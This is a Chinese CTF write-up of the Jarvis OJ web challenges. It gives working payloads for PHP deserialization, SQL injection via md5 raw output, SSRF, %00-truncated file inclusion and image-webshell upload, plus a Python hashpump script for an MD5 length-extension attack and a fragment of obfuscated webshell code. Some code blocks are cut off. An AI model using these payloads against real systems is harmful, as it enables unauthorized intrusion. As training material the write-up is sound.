Jarvis-OJ-Web


title: Jarvis OJ Web
date: 2019-05-18 14:06:08
tags:
- CTF
- web
- Jarvis OJ
categories:
- CTF
- Jarvis
- Web


Jarvis OJ Web部分题目的write up


前言

前后零零碎碎算是把Jarvis OJ上面Web部分的题刷完了,收获挺多的,特此记录一下。
Jarvis Oj题目地址:https://www.jarvisoj.com/challenges


0x01 PORT51

题目描述:

题目链接:http://web.jarvisoj.com:32770/

题目链接进去如下图,说要用51端口进行访问。


image

看到题目我的第一反应是用socket编程。后面发现不用这么麻烦,直接用curl --local-port即可。

image


0x02 LOCALHOST

题目描述:

题目链接:http://web.jarvisoj.com:32770/

题目链接点进去提示说,localhost access only!!

image

这类题目也见过挺多了,直接改请求头里的X-Forwarded-For即可。

image


0x03 Login

题目描述:

需要密码才能获得flag哦。
题目链接:http://web.jarvisoj.com:32772/

题目进去是一个输入框,随便输点东西试试,并没有发现什么有用的东西,于是找找源码和请求头、响应头里有没有什么提示。然后再请求头里找到Hint

"select * from `admin` where password='".md5($pass,true)."'"

image

这里就是利用md5函数的不同输出形式。具体可参照:https://blog.csdn.net/March97/article/details/81222922 这里就不多讲了。

只要输入特定的字符串,如可以输入ffifdyop129581926211651571912466741651878684928即可得到flag

image

0x04 神盾局的秘密

题目描述:

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/

点进链接去是一张图片,仔细看了一遍这张图,发现并没有什么异常。于是开始在源码和请求头里找看有没有提示。


image

然后在index.php的源码里发现了图片插入的标签

image

这个showimg.php和img参数不免让人想到文件包含,把img参数的值base64解密一下,发现是shield.jpg。于是就可以确定思路,利用showimg.php显示一下index.php看看能不能得到什么信息。

于是访问:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhwaW5kZXgucGhw是index.php的base64加密编码得到下图结果。

image

这里的代码应该是index.php的源码,一部分在注释里,另一部分放在了html里,这里整理一下。

readfile();
?>

这代码看过去,看到shield.php和unserialize就应该明白过来,应该是要用反序列化,shield类的代码在shield.php里面,于是继续用showimg.php显示一下shield.php。
访问:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==img参数值是shield.php的base64编码

得到下图结果。又是一部分代码注释另一部分放在HTML里。再次整理一下shield.php代码


image
file = $filename;
    }
        
    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE  
        && stripos($this->file,'/')===FALSE && stripos($this->file,'\\'==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}
?>

这段代码里可以看到提示说flag在pctf.php里面,而前面index.php里最后调用的readfile函数具体实现代码也在这里。到这里就很明显了。构造数据,使得反序列化后shield的file参数为pctf.php,然后利用readfile函数输出flag。
生成payload。


image

最终payload为:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}

得到flag


image

0x05 IN A Mess

题目描述:

连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。
题目入口:http://web.jarvisoj.com:32780/

这个题,前几天写SQL注入Bypass的时候写过了,这里就不多讲了。
http://miracle778.site/Web%E5%AE%89%E5%85%A8/SQL%E6%B3%A8%E5%85%A5/SQL%E6%B3%A8%E5%85%A5%E4%B9%8BWAF-Bypass.html#more


0x06 RE?

题目描述:

咦,奇怪,说好的WEB题呢,怎么成逆向了?不过里面有个help_me函数挺有意思的哦
附件链接:https://dn.jarvisoj.com/challengefiles/udf.so.02f8981200697e5eeb661e64797fc172

这题应该是考知识广度吧,mysql扩展函数 ---- UDF

有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,使用者自行添加的MySQL函数就称为UDF(User Define Function)。

于是只要在mysql上导入,然后调用里面函数。这里附件文件头是EIF开头,所以要在linux下的mysql使用。

先在mysql命令行下用select @@plugin_dir查看mysql的插件目录

image

然后把udf.so文件拷贝到该目录下并重命名为udf.so。然后在mysql里使用create function <函数名> returns string soname 创建外部函数。
如这里,题目描述里面说到有个help_me函数挺有意思,于是使用create function help_me returns string soname 'udf.so';创建help_me函数,然后使用select help_me();调用该函数。
image

上图是调用了help_me函数的结果,提示说用getflag函数获取flag,于是再执行一次create function getflag returns string soname 'udf.so'语句,然后调用一次。

image


0x07 flag在管理员手里

题目描述:

只有管理员才能获得flag,你能想办法获得吗?
题目链接:http://web.jarvisoj.com:32778/

题目进去又是说只有admin能看flag,随便试一下改X-Forwarded-For 127.0.0.1,果不其然失败了。


image

不过在请求头发现了cookie的值有点东西...


image

这里把role的值url解码后,是s:5:"guest";,是guest序列化的结果。
发现这个之后,肯定先把guest改一下admin试一下看看能不能成功,结果当然是失败了,因为cookie里还有另一个变量hsh,它的值是一串哈希字符串,估计是用来校验的。只改role肯定是不行,肯定要改对应的hsh。

但改hsh肯定要知道他是怎么加密的,不然凭空爆破肯定是不行的。于是要找找看有没有源代码。于是用御剑扫扫后台,并没有发现什么东西,于是就只能再扫扫看有没有备份文件或者临时文件,尝试几个.bak、.save、.swp、~,发现index.php~可以访问并下载的。
index.php~下载下来分析,发现实质是个.swpvim异常退出文件,于是改个名用vim恢复一下。最终源码如下




Web 350




    Welcome Admin. Your flag is 
        } else {
            echo "

Only Admin can see the flag!!

"; } ?>

看一下代码,可以发现,role要反序列化得到admin,hsh要为(salt + role的反置)的md5值。
查了一下资料,发现hsh那部分可以利用md5扩展攻击实现,但是要实现md5扩展攻击,对role肯定是要特殊构造的,而改了role的话,$role ==== admin又是三个=不能用弱类型比较。于是想到可能要利用unserialize函数。于是对unserialize函数简单测试了一下。

image

如上图示,我们可以发现,当s:5:"guest";被反序列化后,后面接着的内容被忽视掉了。(PS:后面用php7测试了一下,结果一样)

下面是关于md5哈希长度扩展攻击的资料,这里就不多写了。
https://www.cnblogs.com/p00mj/p/6288337.html
https://www.cnblogs.com/pcat/p/5478509.html

看完上面两个链接里的资料后,应该对md5哈希长度扩展攻击即相关工具hashpump有了了解。按道理就应该直接用hashpump生成hsh,然后填入cookie就好。但是哈希长度扩展攻击有一个前提条件,可以不知道salt的值,但是要知道它的长度,这样才能进行填充。

因此这里还要用到python,对salt的长度进行一下爆破,然后用python进行提交,python代码如下。

import requests
import urllib
import os


url = "http://web.jarvisoj.com:32778/"

# 提交请求
def Post(role,hsh,i):
    cookie = {'role':role,'hsh':hsh}
    r = requests.get(url,cookies=cookie)
    # 如果提交的是错误的hsh值得话,错误返回报文长度为210
    if len(r.text) != 210:
        print("第",i,'次')
        print(r.text)
        exit()
    return


# 计算hash值
cmd = 'hashpump -s 3a4727d57463f122833d9e732f94e4e0 -d \';"tseug":5:s\' -k {} -a \';"nimda":5:s\''

# 开始爆破
for i in range(1,100):
    cmd_ = cmd.format(str(i))
    res = os.popen(cmd_).readlines()
    hsh,role = res[0][:-1],res[1][:-1]
    # 需要对role进行反置处理
    t1,t2,t3 = role[:12],role[12:-12],role[-12:]
    t2 = t2.split('\\x')
    t2 = t2[::-1]
    t2 = '%'.join(t2)
    t2 = '%' + t2[:-1]
    role = t3[::-1] + t2 + t1[::-1]
    role = role.replace(';','%3b')

    print("第",i,'次')
    print(role)
    Post(role,hsh,i)

代码跑一下,得到结果,salt的长度是12。


image

0x08 Chopper

题目描述:

小明入侵了一台web服务器并上传了一句话木马,但是,管理员修补了漏洞,更改了权限。更重要的是:他忘记了木马的密码!你能帮助他夺回控制权限吗?
关卡入口:http://web.jarvisoj.com:32782/
题目来源:ISCC2016

题目链接点进去如下图,点击下面的管理员登录,链接指向http://web.jarvisoj.com:32782/admin,弹了一个框说you are not admin!,然后页面是403 Forbidden You don't have permission to access /admin/ on this server.

image

查看admin页面的源码,如下图,发现有行注释,里面有admin的ip。


image

于是访问这个ip,也是403禁止访问。这条路到这也算断了。


image

于是返回主页,看看有没有别的消息。发现index.php页面那张图片的img标签导入链接有点蹊跷。


image

发现图片地址是用proxy.php的url参数导入的。于是想到是不是要用proxy.php来打ssrf。后面发现就是用proxy.php做两个跳转而已。

于是访问http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/
然后发现页面url被重定向为http://web.jarvisoj.com:32782/index.php?url=http://8080av.com,由此可以确定可以通过proxy.php访问202.5.19.128。

但是通过proxy.php访问202.5.19.128/admin的话,会访问失败。

于是可以试试访问202.5.19.128/proxy.php看看是不是存在,是不是需要跳转两次。结果发现可以访问


image

到现在可以简单理下思路

http://web.jarvisoj.com:32782/ 下有proxy.php可以跳转访问还有/admin/目录 403 禁止访问
http://202.5.19.128/ 下有proxy.php可以进行跳转
可以推测 flag在 http://web.jarvisoj.com:32782/admin/ 目录下
而用 http://web.jarvisoj.com:32782/proxy.php?url=http://web.jarvisoj.com:32782/admin/ 与直接访问 http://web.jarvisoj.com:32782/admin/ 得到的结果一样,都是弹框 you are not admin

所以推测是要用 http://web.jarvisoj.com:32782/proxy.php 跳 http://202.5.19.128/proxy.php 跳 http://web.jarvisoj.com:32782/admin/ 进行两次跳转。

payload:http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/
跳转结果如下图,you are cloosing

image

说实话,到这里又懵了,后面看完别人的wp,发现admin/ 目录下还有robots.txt这个文件,于是访问robots.txt文件,内容如下

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

于是继续访问trojan.php.txt,看一下代码先。

"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

被混淆了,不过没关系,复制下来本地执行一下,看看报错信息。


image

所以这应该是题目描述里小明的一句话木马。密码是360

知道这个之后,就简单了。


image

这道题感觉有点那么脑洞(可能是因为菜吧),但是每一步又都有点有理有据。哎,菜逼还是菜呀。


0x09 Easy Gallery

题目描述:

"没有什么防护是一个漏洞解决不了的,如果有,那
就.....
"
题目入口:http://web.jarvisoj.com:32785/

题目进去是一个简单的网站系统。简单浏览测试下,发现总共有两个功能。

第一个功能是上传图片,经过简单测试,发现只能上传jpg和gif格式图片。而且用burp改后缀跟MIME都不可用,猜测是用了文件头校验。


image

第二个功能是view,通过前面上传图片成功会得到一个图片ID,可以通过输入图片ID和图片类型(jpg、gif)进行查看。


image

结合这两个功能的测试分析,不难推测,这题应该是通过生成图片马绕过上传得到图片ID,然后利用图片ID进行文件包含连接小马。那么现在最主要的问题就集中在如何得到上传图片的路径找到进行文件包含的点

找到上传图片的路径简单,先上传一个正常jpg图片,然后通过图片ID访问一下,测试一下整个流程。可以看到,成功访问。


image

在图片上右击 在新标签页打开,得到图片访问路径为http://web.jarvisoj.com:32785/uploads/<图片ID>.<图片类型jpg/gif>

image

下一个问题就是找到可以进行文件包含的点。通过观察不难发现,Submit和View功能页面的url都是通过?page=参数进行访问的。
Submit功能的url为http://web.jarvisoj.com:32785/index.php?page=submit
View功能的url为http://web.jarvisoj.com:32785/index.php?page=view

我们可以将page参数赋为图片路径,看看页面返回结果

image

从返回的warning信息可以看出,服务器会自动把传入的page参数的值后面加上.php后缀,限制我们访问除php外的文件,但是这里可以用%00截断一下。我们把图片ID改成一个不存在的错误ID,然后用%00截断一下,如果截断成功,则应该会出现xxxx.jpg failed to open...报错。执行结果如图示,证明此处是可以用%00截断的。
image

于是我们生成一个图片马上传试试。copy shell.gif/b + 2.php/a 2.gif
这里shell.gif是一张正常图片,2.php内容为

生成好后,我们上传、截断包含一下,居然提示you should not do this!

image

说明可能我们马可能被检测到了。然后没办法了,只能搜索一波别人的wp。

然后发现把一句话木马改为即可···
另外提一下,

你可能感兴趣的:(Jarvis-OJ-Web)